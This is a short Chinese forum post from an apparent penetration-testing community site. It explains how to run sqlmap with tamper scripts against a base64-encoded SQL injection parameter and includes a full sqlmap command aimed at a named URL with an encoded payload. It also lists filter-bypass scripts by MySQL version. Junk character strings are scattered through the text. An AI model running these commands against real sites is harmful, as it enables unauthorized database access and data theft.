WVS扫某站就出来一个SQL Injection,参数还是base64编码的,手工注入麻烦一步,用sqlmap怎么自动注射呢? sqlmap的tamper里有个base64encode.py 使用如下. u; R& [% M8 S; J; w3 l# k sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs " _' l8 }( m, ]/ v4 ^4 P 6 S+ l6 u3 U) x sqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”2 t( y2 C$ e* B2 ]5 I" x. B 其中常用到的bypass脚本绕过SQLMAP主要两个脚本:/ G5 `- ]& \) v3 @3 V . k" U2 ?% x; E8 S4 r space2hash.py ,对于MYSQL数据库 4.0, 5.0注入 space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入! K2 @- S( d9 z& Z+ F6 t. m% u7 O 首先确定目标数据库版本,然后选择相应的脚本。: D7 D: O8 M0 ]1 W( E -v 3 --batch --tamper "space2hash.py"7 G: o- S! ^. y- k3 I7 _2 d 还有其他一些插件:$ @5 k0 W- A7 n encodes编码 ——charencode.py. l3 ?: i. J% w0 a' {3 K1 }0 d: a. \ base64编码 —— base64encode.py6 z0 f: t5 Y! M 替换空格和关键字 —— halfversionedmorekeywords.py; d7 F. T: P6 ^& ]9 r) t) l4 V |
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |